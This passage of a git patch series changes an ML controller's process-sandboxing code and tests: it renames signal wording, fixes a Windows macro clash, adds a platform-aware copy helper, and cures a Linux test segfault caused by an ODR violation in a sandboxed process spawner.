controller's H4 structured once-per-launch signal, emitted by -#! bin/controller/CProcessSpawnerRouter.cc emitLaunchSignal() over the same -#! log pipe. Boost.Log escapes the embedded quotes, so the raw capture is -#! unescaped before matching. +#! The controller's sandbox2_launch structured once-per-launch signal, +#! emitted by bin/controller/CProcessSpawnerRouter.cc emitLaunchSignal() +#! over the same log pipe. Boost.Log escapes the embedded quotes, so the raw +#! capture is unescaped before matching. LAUNCH_SIGNAL_ROUTE_RE = re.compile(r'"event":"sandbox2_launch".*?"route":"(?P[a-z0-9_]+)"') def find_launch_route(controller, since_offset, timeout=PID_DISCOVERY_TIMEOUT): - """Return the route ("sandbox2" / "legacy") the controller's own H4 + """Return the route ("sandbox2" / "legacy") the controller's own sandbox2_launch signal reports for the launch issued after since_offset, or None if no such signal appeared within timeout. @@ -359,8 +359,7 @@ def tail_contains(path, needle, deadline): class ControllerProcess: """Manages the controller process and its own command/output/log/stdin pipes, kept in control_dir - deliberately separate from any child's - `$TMPDIR/ml-child-ipc/` directory (design.md's "separate - controller/child roots" requirement), so a sandboxed child's mount + `$TMPDIR/ml-child-ipc/` directory, so a sandboxed child's mount policy for its own IPC root can never be confused with, or accidentally widened to include, the controller's own command channel. """ @@ -578,7 +577,7 @@ def kill_pid(self, command_id, pid, timeout=CONTROLLER_RESPONSE_TIMEOUT): dict, or None on timeout. response['success'] is False both when the PID was never one of the controller's live children and when it already exited - exactly the registry-poll cleanup mechanism the - Oracle rule's cleanup assertion needs (see + cleanup assertion below needs (see bin/controller/CCommandProcessor.cc handleKill() -> CSandboxedProcessSpawner::terminateChild()).""" return self.send_command_and_wait(command_id, 'kill', [str(pid)], timeout=timeout) @@ -868,7 +867,7 @@ def run_pytorch_case(controller, pytorch_bin, model_path, tmp_base, command_id, actual_route = find_launch_route(controller, log_offset) if actual_route is None: result.fail( - "No sandbox2_launch (H4) signal observed on the controller log within " + "No sandbox2_launch signal observed on the controller log within " f"{PID_DISCOVERY_TIMEOUT}s of a successful start response - cannot confirm " f"this launch took the '{expected_route}' route; not asserting on target file") controller.check_controller_logs() @@ -882,7 +881,7 @@ def run_pytorch_case(controller, pytorch_bin, model_path, tmp_base, command_id, f"not asserting on target file") controller.check_controller_logs() return result, reached, target_file_created, response, leaked_address_seen, pid - result.info(f"H4 signal confirms route: {actual_route}") + result.info(f"sandbox2_launch signal confirms route: {actual_route}") pid = find_child_pid(controller, f'./{pytorch_name}', log_offset) if pid is None: @@ -978,8 +977,9 @@ def run_pytorch_case(controller, pytorch_bin, model_path, tmp_base, command_id, def cleanup_and_verify_reaped(controller, result, pid, base_command_id): - """Cleanup assertion (Oracle rule #5): issue kill(pid) via the - controller until it reports failure (registry has no such live child), + """Cleanup assertion (the fifth part of the evidence requirement): issue + kill(pid) via the controller until it reports failure (registry has no + such live child), proving the case's child is fully reaped before the next case starts. If the child is still alive, the first kill() should succeed (True) and terminate it; the follow-up kill() must then report failure.""" From d846e278a325d19144dfb60ac138e4cd00dc3741 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Thu, 10 Sep 2026 10:44:21 +0200 Subject: [PATCH 25/36] [ML] Fix Windows build: rename OUT local to TARGET_FILE OUT collides with the SAL annotation macro of the same name defined by Windows headers (windef.h's IN/OUT/NEAR/FAR parameter-direction hints), so MSVC preprocessed every `OUT` in these tests to nothing before parsing - e.g. `std::remove(OUT.c_str())` became `std::remove(.c_str())`, producing a cascade of syntax errors starting at CCommandProcessorTest.cc(291). Renamed to TARGET_FILE, distinct from the file's existing OUTPUT_FILE constant. --- .../unittest/CCommandProcessorTest.cc | 98 ++++++++++--------- 1 file changed, 50 insertions(+), 48 deletions(-) diff --git a/bin/controller/unittest/CCommandProcessorTest.cc b/bin/controller/unittest/CCommandProcessorTest.cc index 3900e57e1d..7b1b855531 100644 --- a/bin/controller/unittest/CCommandProcessorTest.cc +++ b/bin/controller/unittest/CCommandProcessorTest.cc @@ -287,8 +287,8 @@ BOOST_AUTO_TEST_CASE(testStartRejectsDuplicateDisableSandboxTokenOnSandboxedPath // Two occurrences of the token must be rejected outright, even when // processPath IS the configured sandboxed path - never "last one // wins"/"first one wins". - const std::string OUT{"duplicate_reject_sandboxed_out.txt"}; - std::remove(OUT.c_str()); + const std::string TARGET_FILE{"duplicate_reject_sandboxed_out.txt"}; + std::remove(TARGET_FILE.c_str()); std::ostringstream responseStream; { @@ -298,14 +298,14 @@ BOOST_AUTO_TEST_CASE(testStartRejectsDuplicateDisableSandboxTokenOnSandboxedPath responseStream}; std::string command{startCommand(10, PROCESS_PATH, - {"-c", "cp " + INPUT_FILE1 + " " + OUT, + {"-c", "cp " + INPUT_FILE1 + " " + TARGET_FILE, "--disableSandbox", "--disableSandbox"})}; BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); } // Rejected before any spawn: the copy must never have happened. - BOOST_REQUIRE_EQUAL(true, fileAbsent(OUT)); + BOOST_REQUIRE_EQUAL(true, fileAbsent(TARGET_FILE)); std::string response{responseStream.str()}; BOOST_TEST_REQUIRE(response.find("\"id\":10,\"success\":false") != std::string::npos); @@ -315,8 +315,8 @@ BOOST_AUTO_TEST_CASE(testStartRejectsDuplicateDisableSandboxTokenOnSandboxedPath BOOST_AUTO_TEST_CASE(testStartRejectsDuplicateDisableSandboxTokenOnNonSandboxedPath) { // Duplicate-token rejection applies regardless of whether processPath // matches a configured sandboxed path. - const std::string OUT{"duplicate_reject_nonsandboxed_out.txt"}; - std::remove(OUT.c_str()); + const std::string TARGET_FILE{"duplicate_reject_nonsandboxed_out.txt"}; + std::remove(TARGET_FILE.c_str()); std::ostringstream responseStream; { @@ -326,13 +326,13 @@ BOOST_AUTO_TEST_CASE(testStartRejectsDuplicateDisableSandboxTokenOnNonSandboxedP responseStream}; std::string command{startCommand(11, PROCESS_PATH, - {"-c", "cp " + INPUT_FILE1 + " " + OUT, + {"-c", "cp " + INPUT_FILE1 + " " + TARGET_FILE, "--disableSandbox", "--disableSandbox"})}; BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); } - BOOST_REQUIRE_EQUAL(true, fileAbsent(OUT)); + BOOST_REQUIRE_EQUAL(true, fileAbsent(TARGET_FILE)); std::string response{responseStream.str()}; BOOST_TEST_REQUIRE(response.find("\"id\":11,\"success\":false") != std::string::npos); @@ -343,8 +343,8 @@ BOOST_AUTO_TEST_CASE(testStartRejectsDisableSandboxTokenOnNonSandboxedPath) { // A single --disableSandbox token is only meaningful for the exact // configured sandboxed path; on any other permitted process it must be // rejected rather than silently ignored or passed through. - const std::string OUT{"single_reject_nonsandboxed_out.txt"}; - std::remove(OUT.c_str()); + const std::string TARGET_FILE{"single_reject_nonsandboxed_out.txt"}; + std::remove(TARGET_FILE.c_str()); std::ostringstream responseStream; { @@ -354,12 +354,13 @@ BOOST_AUTO_TEST_CASE(testStartRejectsDisableSandboxTokenOnNonSandboxedPath) { responseStream}; std::string command{startCommand( - 12, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + OUT, "--disableSandbox"})}; + 12, PROCESS_PATH, + {"-c", "cp " + INPUT_FILE1 + " " + TARGET_FILE, "--disableSandbox"})}; BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); } - BOOST_REQUIRE_EQUAL(true, fileAbsent(OUT)); + BOOST_REQUIRE_EQUAL(true, fileAbsent(TARGET_FILE)); std::string response{responseStream.str()}; BOOST_TEST_REQUIRE(response.find("\"id\":12,\"success\":false") != std::string::npos); @@ -372,8 +373,8 @@ BOOST_AUTO_TEST_CASE(testStartStripsDisableSandboxTokenForConfiguredSandboxedPat // be stripped before the underlying spawner ever sees it. Verified via // an observable side effect (arg count reaching the shell), not just // the response: if the token leaked through, $# would be 1 instead of 0. - const std::string OUT{"strip_token_arg_count.txt"}; - std::remove(OUT.c_str()); + const std::string TARGET_FILE{"strip_token_arg_count.txt"}; + std::remove(TARGET_FILE.c_str()); std::ostringstream responseStream; { @@ -383,19 +384,20 @@ BOOST_AUTO_TEST_CASE(testStartStripsDisableSandboxTokenForConfiguredSandboxedPat responseStream}; std::string command{startCommand( - 13, PROCESS_PATH, {"-c", "echo $# > " + OUT, "argv0name", "--disableSandbox"})}; + 13, PROCESS_PATH, + {"-c", "echo $# > " + TARGET_FILE, "argv0name", "--disableSandbox"})}; BOOST_REQUIRE_EQUAL(true, processor.handleCommand(command)); } std::this_thread::sleep_for(std::chrono::seconds{1}); - std::ifstream ifs{OUT}; + std::ifstream ifs{TARGET_FILE}; BOOST_TEST_REQUIRE(ifs.is_open()); std::string content; std::getline(ifs, content); ifs.close(); - std::remove(OUT.c_str()); + std::remove(TARGET_FILE.c_str()); // If the token had NOT been stripped, argv0name and --disableSandbox // would both reach the shell as positional args and $# would be 1. @@ -410,8 +412,8 @@ BOOST_AUTO_TEST_CASE(testStartLeavesArgsUntouchedWhenTokenAbsent) { // spawner completely unmodified (default route is Sandbox2, but this // processPath isn't configured as sandboxed so it still dispatches to // the legacy spawner, same as pre-existing behaviour). - const std::string OUT{"absent_token_arg_count.txt"}; - std::remove(OUT.c_str()); + const std::string TARGET_FILE{"absent_token_arg_count.txt"}; + std::remove(TARGET_FILE.c_str()); std::ostringstream responseStream; { @@ -421,19 +423,19 @@ BOOST_AUTO_TEST_CASE(testStartLeavesArgsUntouchedWhenTokenAbsent) { responseStream}; std::string command{startCommand( - 14, PROCESS_PATH, {"-c", "echo $# > " + OUT, "argv0name", "extraArg"})}; + 14, PROCESS_PATH, {"-c", "echo $# > " + TARGET_FILE, "argv0name", "extraArg"})}; BOOST_REQUIRE_EQUAL(true, processor.handleCommand(command)); } std::this_thread::sleep_for(std::chrono::seconds{1}); - std::ifstream ifs{OUT}; + std::ifstream ifs{TARGET_FILE}; BOOST_TEST_REQUIRE(ifs.is_open()); std::string content; std::getline(ifs, content); ifs.close(); - std::remove(OUT.c_str()); + std::remove(TARGET_FILE.c_str()); BOOST_REQUIRE_EQUAL(std::string{"1"}, content); @@ -455,8 +457,8 @@ BOOST_AUTO_TEST_CASE(testStartDefaultsToLegacyRouteWhenTokenAbsentOnSandboxedPat // not produce the file). ml::core::CUnSetEnv::unSetEnv("ML_SANDBOX2_DEFAULT_ENFORCED"); - const std::string OUT{"sandbox2_default_dormant_out.txt"}; - std::remove(OUT.c_str()); + const std::string TARGET_FILE{"sandbox2_default_dormant_out.txt"}; + std::remove(TARGET_FILE.c_str()); std::ostringstream responseStream; { @@ -465,20 +467,20 @@ BOOST_AUTO_TEST_CASE(testStartDefaultsToLegacyRouteWhenTokenAbsentOnSandboxedPat ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; - std::string command{startCommand(16, PROCESS_PATH, - {"-c", "cp " + INPUT_FILE1 + " " + OUT})}; + std::string command{startCommand( + 16, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + TARGET_FILE})}; BOOST_REQUIRE_EQUAL(true, processor.handleCommand(command)); } std::this_thread::sleep_for(std::chrono::seconds{1}); - std::ifstream ifs{OUT}; + std::ifstream ifs{TARGET_FILE}; BOOST_TEST_REQUIRE(ifs.is_open()); std::string content; std::getline(ifs, content); ifs.close(); - std::remove(OUT.c_str()); + std::remove(TARGET_FILE.c_str()); BOOST_REQUIRE_EQUAL(SLOGAN1, content); std::string response{responseStream.str()}; @@ -493,10 +495,10 @@ BOOST_AUTO_TEST_CASE(testLegacyReasonProvenanceReachesH4Signal) { // decision in handleStart() through to the emitted signal. ml::core::CUnSetEnv::unSetEnv("ML_SANDBOX2_DEFAULT_ENFORCED"); - const std::string OUT{"sandbox2_legacy_reason_out.txt"}; + const std::string TARGET_FILE{"sandbox2_legacy_reason_out.txt"}; // (a) No token, option off -> dormant_default. - std::remove(OUT.c_str()); + std::remove(TARGET_FILE.c_str()); std::ostringstream dormantResponses; std::string dormantLogged{captureLogged([&] { ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; @@ -505,10 +507,10 @@ BOOST_AUTO_TEST_CASE(testLegacyReasonProvenanceReachesH4Signal) { dormantResponses}; BOOST_REQUIRE_EQUAL( true, processor.handleCommand(startCommand( - 20, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + OUT}))); + 20, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + TARGET_FILE}))); })}; std::this_thread::sleep_for(std::chrono::seconds{1}); - std::remove(OUT.c_str()); + std::remove(TARGET_FILE.c_str()); BOOST_REQUIRE(dormantLogged.find("\"route\":\"legacy\"") != std::string::npos); BOOST_REQUIRE(dormantLogged.find("\"legacy_reason\":\"dormant_default\"") != @@ -520,20 +522,20 @@ BOOST_AUTO_TEST_CASE(testLegacyReasonProvenanceReachesH4Signal) { // option's state (here explicitly on, so the token is the only reason // the legacy route could have been selected). CScopedSandbox2DefaultEnforced enforced{"1"}; - std::remove(OUT.c_str()); + std::remove(TARGET_FILE.c_str()); std::ostringstream killSwitchResponses; std::string killSwitchLogged{captureLogged([&] { ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, killSwitchResponses}; - BOOST_REQUIRE_EQUAL( - true, processor.handleCommand(startCommand( - 21, PROCESS_PATH, - {"-c", "cp " + INPUT_FILE1 + " " + OUT, "--disableSandbox"}))); + BOOST_REQUIRE_EQUAL(true, processor.handleCommand(startCommand( + 21, PROCESS_PATH, + {"-c", "cp " + INPUT_FILE1 + " " + TARGET_FILE, + "--disableSandbox"}))); })}; std::this_thread::sleep_for(std::chrono::seconds{1}); - std::remove(OUT.c_str()); + std::remove(TARGET_FILE.c_str()); BOOST_REQUIRE(killSwitchLogged.find("\"route\":\"legacy\"") != std::string::npos); BOOST_REQUIRE(killSwitchLogged.find("\"legacy_reason\":\"kill_switch\"") != @@ -553,8 +555,8 @@ BOOST_AUTO_TEST_CASE(testStartSelectsSandbox2RouteWhenTokenAbsentAndDefaultEnfor // selected: had the route been E_Legacy, this copy would have succeeded // (see testStartDefaultsToLegacyRouteWhenTokenAbsentOnSandboxedPath, // which is the same vector with the option off). - const std::string OUT{"sandbox2_route_selected_out.txt"}; - std::remove(OUT.c_str()); + const std::string TARGET_FILE{"sandbox2_route_selected_out.txt"}; + std::remove(TARGET_FILE.c_str()); std::ostringstream responseStream; { @@ -565,13 +567,13 @@ BOOST_AUTO_TEST_CASE(testStartSelectsSandbox2RouteWhenTokenAbsentAndDefaultEnfor ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; - std::string command{startCommand(15, PROCESS_PATH, - {"-c", "cp " + INPUT_FILE1 + " " + OUT})}; + std::string command{startCommand( + 15, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + TARGET_FILE})}; BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); } - BOOST_REQUIRE_EQUAL(true, fileAbsent(OUT)); + BOOST_REQUIRE_EQUAL(true, fileAbsent(TARGET_FILE)); std::string response{responseStream.str()}; BOOST_TEST_REQUIRE(response.find("\"id\":15,\"success\":false") != std::string::npos); @@ -584,8 +586,8 @@ BOOST_AUTO_TEST_CASE(testNonCanonicalTruthyValuesLeaveDefaultDormant) { // same fail-closed vector as above: with the option genuinely on the // command fails, so a *succeeding* command is proof it stayed off. for (const char* value : {"true", "TRUE", "yes", "0", ""}) { - const std::string OUT{"sandbox2_default_non_canonical_out.txt"}; - std::remove(OUT.c_str()); + const std::string TARGET_FILE{"sandbox2_default_non_canonical_out.txt"}; + std::remove(TARGET_FILE.c_str()); std::ostringstream responseStream; { @@ -597,14 +599,14 @@ BOOST_AUTO_TEST_CASE(testNonCanonicalTruthyValuesLeaveDefaultDormant) { responseStream}; std::string command{startCommand( - 17, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + OUT})}; + 17, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + TARGET_FILE})}; BOOST_REQUIRE_EQUAL(true, processor.handleCommand(command)); } std::this_thread::sleep_for(std::chrono::seconds{1}); - BOOST_REQUIRE_EQUAL(false, fileAbsent(OUT)); - std::remove(OUT.c_str()); + BOOST_REQUIRE_EQUAL(false, fileAbsent(TARGET_FILE)); + std::remove(TARGET_FILE.c_str()); } } #endif // !SANDBOX2_AVAILABLE From 9fc071dc99a07f0cf86b0d8cbfeaa5aae44674ec Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Thu, 10 Sep 2026 11:24:58 +0200 Subject: [PATCH 26/36] [ML] Fix Windows test failures: platform-aware copy args, gate arg-count tests Several PR E tests hardcoded POSIX-only "-c"/"cp" shell invocations, unlike the file's own pre-existing PROCESS_ARGS1/2 which already branch per platform. On Windows this ran cmd.exe with literal POSIX syntax, so 8 tests never produced their expected file. Added copyArgs(), a platform-aware helper mirroring the existing pattern, and switched all 8 call sites to it. Two tests (testStartStripsDisableSandboxTokenForConfiguredSandboxedPath, testStartLeavesArgsUntouchedWhenTokenAbsent) rely on counting a POSIX shell's positional parameters ($#) to prove exact token stripping. cmd.exe's /C form concatenates every arg into one command-line string for CreateProcess rather than exposing them as separate replaceable parameters, so this technique has no Windows equivalent; gated both behind #ifndef Windows. --- .../unittest/CCommandProcessorTest.cc | 63 ++++++++++++------- 1 file changed, 42 insertions(+), 21 deletions(-) diff --git a/bin/controller/unittest/CCommandProcessorTest.cc b/bin/controller/unittest/CCommandProcessorTest.cc index 7b1b855531..334150e756 100644 --- a/bin/controller/unittest/CCommandProcessorTest.cc +++ b/bin/controller/unittest/CCommandProcessorTest.cc @@ -281,6 +281,21 @@ bool fileAbsent(const std::string& file) { std::ifstream ifs{file}; return ifs.is_open() == false; } + +//! Args that copy INPUT_FILE1 to \p dest using this platform's copy command +//! (mirrors PROCESS_ARGS1's per-platform invocation above), with \p extra +//! tokens appended verbatim - e.g. to test --disableSandbox rejection or +//! stripping via the copy's own success/failure as the observable. +std::vector copyArgs(const std::string& dest, + const std::vector& extra = {}) { +#ifdef Windows + std::vector args{"/C", "copy " + INPUT_FILE1 + " " + dest}; +#else + std::vector args{"-c", "cp " + INPUT_FILE1 + " " + dest}; +#endif + args.insert(args.end(), extra.begin(), extra.end()); + return args; +} } BOOST_AUTO_TEST_CASE(testStartRejectsDuplicateDisableSandboxTokenOnSandboxedPath) { @@ -297,9 +312,9 @@ BOOST_AUTO_TEST_CASE(testStartRejectsDuplicateDisableSandboxTokenOnSandboxedPath ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; - std::string command{startCommand(10, PROCESS_PATH, - {"-c", "cp " + INPUT_FILE1 + " " + TARGET_FILE, - "--disableSandbox", "--disableSandbox"})}; + std::string command{startCommand( + 10, PROCESS_PATH, + copyArgs(TARGET_FILE, {"--disableSandbox", "--disableSandbox"}))}; BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); } @@ -325,9 +340,9 @@ BOOST_AUTO_TEST_CASE(testStartRejectsDuplicateDisableSandboxTokenOnNonSandboxedP ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; - std::string command{startCommand(11, PROCESS_PATH, - {"-c", "cp " + INPUT_FILE1 + " " + TARGET_FILE, - "--disableSandbox", "--disableSandbox"})}; + std::string command{startCommand( + 11, PROCESS_PATH, + copyArgs(TARGET_FILE, {"--disableSandbox", "--disableSandbox"}))}; BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); } @@ -354,8 +369,7 @@ BOOST_AUTO_TEST_CASE(testStartRejectsDisableSandboxTokenOnNonSandboxedPath) { responseStream}; std::string command{startCommand( - 12, PROCESS_PATH, - {"-c", "cp " + INPUT_FILE1 + " " + TARGET_FILE, "--disableSandbox"})}; + 12, PROCESS_PATH, copyArgs(TARGET_FILE, {"--disableSandbox"}))}; BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); } @@ -368,6 +382,17 @@ BOOST_AUTO_TEST_CASE(testStartRejectsDisableSandboxTokenOnNonSandboxedPath) { std::string::npos); } +// These two tests distinguish "token stripped" from "token leaked through" +// by counting the exact number of positional arguments a POSIX shell -c +// script sees ($#) - a leaked token adds an extra argv entry, a stripped +// one doesn't. cmd.exe's /C form has no equivalent: it concatenates every +// argv element into one command-line string for CreateProcess rather than +// exposing them as separate replaceable parameters, so a copy-success/ +// failure observable (as used elsewhere in this file) can't distinguish +// the two cases here - a trailing token that isn't actually consumed by +// the command line has no observable effect either way. Genuinely +// Windows-untestable with this technique, not merely inconvenient. +#ifndef Windows BOOST_AUTO_TEST_CASE(testStartStripsDisableSandboxTokenForConfiguredSandboxedPath) { // A single --disableSandbox token on the configured sandboxed path must // be stripped before the underlying spawner ever sees it. Verified via @@ -442,6 +467,7 @@ BOOST_AUTO_TEST_CASE(testStartLeavesArgsUntouchedWhenTokenAbsent) { std::string response{responseStream.str()}; BOOST_TEST_REQUIRE(response.find("\"id\":14,\"success\":true") != std::string::npos); } +#endif // !Windows BOOST_AUTO_TEST_CASE(testStartDefaultsToLegacyRouteWhenTokenAbsentOnSandboxedPath) { // SHIPS DORMANT: with ML_SANDBOX2_DEFAULT_ENFORCED unset (the shipped @@ -467,8 +493,7 @@ BOOST_AUTO_TEST_CASE(testStartDefaultsToLegacyRouteWhenTokenAbsentOnSandboxedPat ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; - std::string command{startCommand( - 16, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + TARGET_FILE})}; + std::string command{startCommand(16, PROCESS_PATH, copyArgs(TARGET_FILE))}; BOOST_REQUIRE_EQUAL(true, processor.handleCommand(command)); } @@ -505,9 +530,8 @@ BOOST_AUTO_TEST_CASE(testLegacyReasonProvenanceReachesH4Signal) { ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, dormantResponses}; - BOOST_REQUIRE_EQUAL( - true, processor.handleCommand(startCommand( - 20, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + TARGET_FILE}))); + BOOST_REQUIRE_EQUAL(true, processor.handleCommand(startCommand( + 20, PROCESS_PATH, copyArgs(TARGET_FILE)))); })}; std::this_thread::sleep_for(std::chrono::seconds{1}); std::remove(TARGET_FILE.c_str()); @@ -529,10 +553,9 @@ BOOST_AUTO_TEST_CASE(testLegacyReasonProvenanceReachesH4Signal) { ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, killSwitchResponses}; - BOOST_REQUIRE_EQUAL(true, processor.handleCommand(startCommand( - 21, PROCESS_PATH, - {"-c", "cp " + INPUT_FILE1 + " " + TARGET_FILE, - "--disableSandbox"}))); + BOOST_REQUIRE_EQUAL( + true, processor.handleCommand(startCommand( + 21, PROCESS_PATH, copyArgs(TARGET_FILE, {"--disableSandbox"})))); })}; std::this_thread::sleep_for(std::chrono::seconds{1}); std::remove(TARGET_FILE.c_str()); @@ -567,8 +590,7 @@ BOOST_AUTO_TEST_CASE(testStartSelectsSandbox2RouteWhenTokenAbsentAndDefaultEnfor ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; - std::string command{startCommand( - 15, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + TARGET_FILE})}; + std::string command{startCommand(15, PROCESS_PATH, copyArgs(TARGET_FILE))}; BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); } @@ -598,8 +620,7 @@ BOOST_AUTO_TEST_CASE(testNonCanonicalTruthyValuesLeaveDefaultDormant) { ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; - std::string command{startCommand( - 17, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + TARGET_FILE})}; + std::string command{startCommand(17, PROCESS_PATH, copyArgs(TARGET_FILE))}; BOOST_REQUIRE_EQUAL(true, processor.handleCommand(command)); } From a8f65b6daaa8e06c1a31fa50b4cc1e7323368ea0 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Thu, 10 Sep 2026 12:41:46 +0200 Subject: [PATCH 27/36] [ML] Fix Linux ml_test_controller segfault: ODR-safe, lazily built sandbox spawner ml_test_controller crashed deterministically on Linux (SEGV inside libpthread at the same address every run) at the teardown of any test that constructed a CCommandProcessor or CProcessSpawnerRouter, including tests that predate this PR. Root cause is an ODR violation confined to that one binary. include/sandbox/CSandboxedProcessSpawner.h declares an extra member (m_AwaitResultFn) only under SANDBOX2_AVAILABLE, so sizeof(CSandboxedProcessSpawner) differs by 32 bytes between translation units compiled with and without that macro. ml_add_executable() creates the Mlcontroller OBJECT library without any link libraries, so the controller sources compiled into it never saw MlSandbox's PUBLIC SANDBOX2_AVAILABLE, while bin/controller/unittest's own translation units - which do link MlSandbox - did. With CProcessSpawnerRouter holding the sandboxed spawner by value, that difference propagated into sizeof(CProcessSpawnerRouter) and sizeof(CCommandProcessor), so the classes' inline constructors and destructors disagreed about member offsets and corrupted memory as a router was destroyed - surfacing in the pthread calls ~CDetachedProcessSpawner() makes to stop its tracker thread. The production controller executable recompiles the same sources with MlSandbox linked, so it was unaffected, as were all non-Linux platforms, where the macro is never defined. Two changes: * CProcessSpawnerRouter now holds the sandboxed spawner behind a std::unique_ptr, created on first use inside spawn()'s Sandbox2 branch. A router that only ever dispatches the legacy route - every router while the Sandbox2 default is dormant - no longer constructs or destructs any Sandbox2 machinery at all, and the class's layout no longer depends on SANDBOX2_AVAILABLE. terminateChild()/hasChild() treat a null spawner as "no sandboxed children exist" rather than constructing one to ask. * bin/controller/CMakeLists.txt links the Mlcontroller OBJECT library against MlSandbox, so its sources compile with the same Sandbox2 configuration as both the production executable and the unit tests. Routing behaviour is unchanged: no dispatch decision, fail-closed branch or sandbox2_launch signal field is touched, and the Sandbox2 route still never falls back to the legacy spawner. Adds two regression tests: a static_assert that the router does not store the sandboxed spawner by value (the property that made its layout macro-sensitive), and a legacy-only router lifecycle test covering repeated construction, dispatch, live-child queries and destruction. --- bin/controller/CMakeLists.txt | 21 +++++++ bin/controller/CProcessSpawnerRouter.cc | 23 ++++++- bin/controller/CProcessSpawnerRouter.h | 43 ++++++++++--- .../unittest/CProcessSpawnerRouterTest.cc | 61 +++++++++++++++++++ 4 files changed, 138 insertions(+), 10 deletions(-) diff --git a/bin/controller/CMakeLists.txt b/bin/controller/CMakeLists.txt index b8f595dda7..534f107f2b 100644 --- a/bin/controller/CMakeLists.txt +++ b/bin/controller/CMakeLists.txt @@ -26,3 +26,24 @@ ml_add_executable(controller CProcessSpawnerRouter.cc CResponseJsonWriter.cc ) + +# ml_add_executable() also creates an OBJECT library (Mlcontroller) holding +# the sources above, purely so bin/controller/unittest can link the same +# object files as the executable. That OBJECT library has no link libraries +# of its own, so - unlike the `controller` executable target - it does not +# inherit MlSandbox's usage requirements, and in particular does not see +# MlSandbox's PUBLIC SANDBOX2_AVAILABLE compile definition. The unit test +# executable *does* link MlSandbox and therefore does see it, so without +# this line ml_test_controller mixes two different views of +# include/sandbox/CSandboxedProcessSpawner.h in one binary: that header +# declares one extra member (the m_AwaitResultFn seam) under +# SANDBOX2_AVAILABLE, so sizeof(CSandboxedProcessSpawner) - and hence +# sizeof(CProcessSpawnerRouter) and sizeof(CCommandProcessor) - differ +# between the object files and the test translation units. That is an ODR +# violation, and it corrupted memory during test teardown on Linux. +# Link the OBJECT library against MlSandbox so its sources are compiled +# with exactly the same Sandbox2 configuration as both the production +# executable and the unit tests. +if(TARGET Mlcontroller) + target_link_libraries(Mlcontroller PRIVATE MlSandbox) +endif() diff --git a/bin/controller/CProcessSpawnerRouter.cc b/bin/controller/CProcessSpawnerRouter.cc index e13c4e241a..3eb4c04228 100644 --- a/bin/controller/CProcessSpawnerRouter.cc +++ b/bin/controller/CProcessSpawnerRouter.cc @@ -17,6 +17,7 @@ #include #include +#include #include namespace { @@ -227,10 +228,21 @@ bool CProcessSpawnerRouter::spawn(ERoute route, // route == ERoute::E_Sandbox2, and processPath is configured as // sandboxed. #ifdef SANDBOX2_AVAILABLE + // First - and only - point at which any Sandbox2 machinery is + // constructed. A router that never reaches this branch (every + // router while the Sandbox2 default is dormant, and every router in + // a build without Sandbox2 support) never creates a + // CSandboxedProcessSpawner at all, so no Sandbox2 state enters its + // construction or teardown path. Single-threaded by the same + // contract as the legacy spawner - see the member's declaration. + if (m_SandboxSpawner == nullptr) { + m_SandboxSpawner = std::make_unique(); + } + // No automatic fallback to the legacy spawner on a Sandbox2 // failure: a process that must be sandboxed either // launches inside Sandbox2 or does not launch at all. - spawned = m_SandboxSpawner.spawn(processPath, args, childPid); + spawned = m_SandboxSpawner->spawn(processPath, args, childPid); #else // Build/deployment contradiction: processPath is configured as // sandboxed, but this build has no Sandbox2 support (non-Linux). @@ -260,7 +272,11 @@ bool CProcessSpawnerRouter::terminateChild(core::CProcess::TPid pid) { return true; } #ifdef SANDBOX2_AVAILABLE - if (m_SandboxSpawner.terminateChild(pid)) { + // A null m_SandboxSpawner means no spawn() call ever dispatched to the + // Sandbox2 route, so there can be no sandboxed child to terminate. Ask + // rather than construct: creating the spawner here would defeat the + // lazy lifecycle and could only ever return false anyway. + if (m_SandboxSpawner != nullptr && m_SandboxSpawner->terminateChild(pid)) { return true; } #endif @@ -272,7 +288,8 @@ bool CProcessSpawnerRouter::hasChild(core::CProcess::TPid pid) const { return true; } #ifdef SANDBOX2_AVAILABLE - if (m_SandboxSpawner.hasChild(pid)) { + // Null means no sandboxed child was ever spawned - see terminateChild(). + if (m_SandboxSpawner != 